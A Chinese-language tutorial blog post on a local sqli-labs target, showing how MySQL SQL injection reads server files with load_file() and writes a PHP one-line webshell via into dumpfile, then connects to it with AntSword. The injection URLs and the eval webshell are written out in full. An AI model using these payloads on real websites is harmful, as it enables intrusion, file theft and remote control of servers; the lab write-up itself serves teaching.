1. 程式人生 > 其它 >sql注入之檔案的讀寫------上傳一句話木馬

sql注入之檔案的讀寫------上傳一句話木馬

             sql注入檔案的讀寫

一、mysql讀寫檔案的基本條件

1、資料庫允許讀寫檔案

    mysql 新版本下secure-file-priv欄位 : secure-file-priv引數是用來限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()傳到哪個指定目錄的。

secure_file_priv的值為null ,表示限制mysqld 不允許匯入|匯出。

secure_file_priv的值為/tmp/ ,表示限制mysqld 的匯入|匯出只能發生在/tmp/目錄下。

secure_file_priv的值沒有具體值時,表示不對mysqld 的匯入|匯出做限制

所以要進行檔案的讀寫是需要很高的許可權,最好是root許可權;

2、知道要讀寫位置的絕對路徑

    當我們要進行檔案的讀寫時要知道絕對路徑;當我們要往資料庫裡面寫木馬檔案,就要知道資料庫的絕對路徑;

二、檔案的讀寫語句基本格式

         查詢路徑:@@datadir

           讀取檔案:load_file()

                            http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,load_file('檔案路徑'),3 --+

                        例:id=-1' union select 1,load_file('C:\phpStudy

\PHPTutorial\MySQL\my.ini'),2 -- -+

           寫入檔案:into outfile()

                             http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,'寫入內容',3 into outfile '檔案路徑'--+

                         例:?id=2 union select 1,2,"<?php eval($_REQUEST[23]); ?>" into dumpfile "D:\phpstudy_pro\WWW\sqli-labs-master\Less-2\guo.php" --+


三、演示

         這裡以sqllabs靶場上的less-2做演示如何寫入一句話木馬;

            進入頁面,還是常規步驟判斷顯示位,子段數,由於這些都很簡單我們就不再進行演示;

           

 經過我們測試有三個欄位,兩個顯示位;接下來我們可以通過@@datadir函式查詢資料庫的絕對路徑;

payload:union select 1,2,@@datadir --+

      這裡我們查詢得到了資料庫的絕對路徑,可以直接往資料庫中寫入一句話木馬,但是由於知道這個less-7

的絕對路徑也是為了更好的查詢,所以我們直接在靶機的位置寫入一句話木馬;

       但是由於靶機預設的     secure_file_priv=null,在這個許可權下我們是無法寫入檔案的,所以我們要修改my.ini檔案,在裡面寫入secure_file_priv=" "這樣就不現在檔案的讀寫;

修改後我們就可以寫入木馬檔案了:

payload:?id=2 union select 1,2,"<?php eval($_REQUEST[23]); ?>" into dumpfile "D:\phpstudy_pro\WWW\sqli-labs-master\Less-2\test.php" --+

我們通過檢視靶場檔案位置發現木馬檔案已經成功寫入;

接下來我們可以通過http://127.0.0.1/sqli-labs-master/Less-2/test.php跳轉到木馬檔案位置

最後我們直接蟻劍連線後臺;

我們已經可以通過木馬檔案連線後臺,讀取後臺檔案;

參考文章:http://t.csdn.cn/FYdhQ

                http://t.csdn.cn/czSG9